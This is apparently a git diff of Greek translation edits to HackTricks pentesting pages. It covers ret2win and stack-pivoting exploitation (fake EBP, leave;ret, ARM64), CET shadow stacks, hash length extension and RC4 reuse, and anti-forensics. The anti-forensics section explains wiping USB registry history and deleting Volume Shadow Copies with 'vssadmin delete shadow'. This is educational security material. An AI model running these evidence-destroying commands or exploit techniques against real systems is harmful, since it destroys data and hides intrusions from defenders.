- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, τίποτα άλλο, μερική υπερχείλιση του EIP (1Byte) για να καλέσει τη συνάρτηση win
- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσει τη συνάρτηση win (ret2win)
- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσει τη συνάρτηση win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, δίνει μια διαρροή PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
@ -100,6 +100,7 @@ objdump -d vulnerable | grep win
## Παράδειγμα ARM64
{{#ref}}
ret2win-arm64.md
{{#endref}}

View File

@ -31,13 +31,13 @@ return 0;
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Εύρεση του offset
## Εύρεση της απόκλισης
### Επιλογή μοτίβου
### Επιλογή προτύπου
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
Εκκινήστε το gdb με το gef, δημιουργήστε ένα μοτίβο και χρησιμοποιήστε το:
Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:
```bash
gdb -q ./ret2win
pattern create 200
@ -64,14 +64,14 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως το 13371337:
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Βρείτε πού είναι αποθηκευμένο αυτό το μοτίβο στη μνήμη:
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
@ -113,7 +113,7 @@ p.close()
### Off-by-1
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στο stack. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
```python
from pwn import *

View File

@ -4,7 +4,7 @@
## Basic Information
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του δείκτη πλαισίου και της ακολουθίας εντολών **`leave; ret`**.
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών **`leave; ret`**.
Ως υπενθύμιση, στο x86/x86-64 **`leave`** είναι ισοδύναμο με:
```
@ -22,9 +22,9 @@ ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP**. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης.
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση.
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που αποθηκεύεται από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση.
Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που είναι αποθηκευμένη σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`.
Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που αποθηκεύεται σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`.
#### Κατασκευή Εκμετάλλευσης
@ -41,15 +41,15 @@ ret
#### Εκμετάλλευση Off-By-One
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να πηδήξει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να μεταπηδήσει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.
Είναι επίσης κοινό να χρησιμοποιείται μια RET sled στη στοίβα και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο RSP δείχνει μέσα στη sled και η τελική ROP αλυσίδα εκτελείται.
### EBP Chaining
Τοποθετώντας μια ελεγχόμενη διεύθυνση στη σωστή θέση `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**.
Τοποθετώντας μια ελεγχόμενη διεύθυνση στη θέση του αποθηκευμένου `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**.
Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη ελεγχόμενη μνήμη κάτι όπως:
Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη μνήμη που ελέγχετε κάτι όπως:
- `&(next fake EBP)` -> Φορτωμένο από `pop ebp/rbp` από το `leave`.
- `&system()` -> Καλείται από το `ret`.
@ -58,9 +58,9 @@ ret
Με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε περιθωριακές περιπτώσεις.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε ακραίες περιπτώσεις.
Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
```python
from pwn import *
@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
```
On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραληφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot.
On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραλειφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot.
## Άλλοι τρόποι ελέγχου του RSP
@ -210,7 +210,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits:
1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγ writable περιοχή (π.χ., `.bss`, heap, ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP.
1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγγράψιμη περιοχή (π.χ., `.bss`, heap ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP.
2) Επιστρέψτε σε ένα gadget pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) για να μετακινήσετε το RSP σε αυτήν την περιοχή.
3) Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε `mprotect`, στη συνέχεια `read` shellcode, στη συνέχεια πηδήξτε σε αυτό).
@ -218,7 +218,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το **CET Shadow Stack (SHSTK)**. Με το SHSTK ενεργοποιημένο, το `ret` συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο `ret` από μια pivoted stack.
- Για υπόβαθρο και πιο λεπτομερείς λεπτομέρειες δείτε:
- Για υπόβαθρο και πιο λεπτομερείς πληροφορίες δείτε:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@ -242,15 +242,15 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
- Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετρήσεις σε παραγωγικούς στόχους.
- Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους `ret`-βασισμένους άξονες.
- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με το CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
## ARM64
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το SP register** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το καταχωρητή SP** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύει το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το SP register** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμα κι αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το `x30`** register.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε τον καταχωρητή SP** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε τον καταχωρητή `x30`**.
- προλόγος
- πρόλογος
```armasm
sub sp, sp, 16
@ -267,9 +267,9 @@ ret
```
> [!CAUTION]
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο register του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **`x30`** register από ένα **ελεγχόμενο `SP`** και να **`RET`** σε αυτό.
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιον καταχωρητή του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε τον καταχωρητή **`x30`** από έναν **ελεγχόμενο `SP`** και να **`RET`** σε αυτόν.
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**:
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
@ -282,7 +282,7 @@ ret
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρίσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί περιστρέφοντας με RBP.
- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και τελικά καλείται περιστρέφοντας με RBP.
- Τεκμηρίωση πυρήνα Linux: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες σχετικά με το SHSTK, `nousershstk`, `/proc/$PID/status` flags, και ενεργοποίηση μέσω `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

View File

@ -27,7 +27,7 @@ return 0;
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
## Χωρίς ASLR & Χωρίς canary - Stack Overflow
Για να σταματήσετε το ASLR εκτελέστε:
```bash

View File

@ -13,16 +13,16 @@
- Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης
- Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**.
Τότε, είναι δυνατόν για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**.
### Πώς;
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**.
Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", ο MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
Φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", το MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να:
- Δημιουργήσει έναν MD5 από 64 "A"s
- Δημιουργήσει ένα MD5 από 64 "A"s
- Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b
- Προσθέσει τη συμβολοσειρά "append"
- Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"**

View File

@ -1,13 +1,17 @@
# RC4 Encrypt and Decrypt
{{#include ../banners/hacktricks-training.md}}
Αν μπορείτε με κάποιον τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}

View File

@ -10,7 +10,7 @@
## Ανάλυση Κακόβουλου Λογισμικού
Αυτή **δεν είναι απαραίτητα το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**:
Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**:
{{#ref}}
malware-analysis.md
@ -24,7 +24,7 @@ malware-analysis.md
partitions-file-systems-carving/
{{#endref}}
Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα αντικείμενα:
Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμη και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα τεκμήρια:
{{#ref}}
windows-forensics/
@ -73,7 +73,7 @@ pcap-inspection/
anti-forensic-techniques.md
{{#endref}}
## Κυνηγώντας Απειλές
## Κυνήγι Απειλών
{{#ref}}
file-integrity-monitoring.md

View File

@ -46,7 +46,7 @@
### Νανοδευτερόλεπτα
**Τα χρονικά σημεία NTFS** έχουν **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**.
**Τα χρονικά σημεία NTFS έχουν μια **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**.
### SetMace - Αντι-δικαστικό Εργαλείο
@ -65,11 +65,11 @@
## UsbKill
Αυτό είναι ένα εργαλείο που θα **απενεργοποιήσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\
Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και να **εξετάσετε κάθε εκτελέσιμο python script**.
Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και **να αναθεωρήσετε κάθε εκτελέσιμο python script**.
## Ζωντανές Διανομές Linux
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι τοποθετημένο με δικαιώματα εγγραφής**. Αν είναι τοποθετημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή.
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή.
## Ασφαλής Διαγραφή
@ -109,25 +109,25 @@
### Διαγραφή Ιστορικού USB
Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\
Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το φορητό σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί.
### Απενεργοποίηση Αντιγράφων Σκιάς
### Απενεργοποίηση Σκιάς Αντιγράφων
**Λίστα** αντιγράφων σκιάς με `vssadmin list shadowstorage`\
**Λίστα** σκιάς αντιγράφων με `vssadmin list shadowstorage`\
**Διαγράψτε** τα εκτελώντας `vssadmin delete shadow`
Μπορείτε επίσης να τα διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
Για να απενεργοποιήσετε τις σκιές αντιγράφων [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
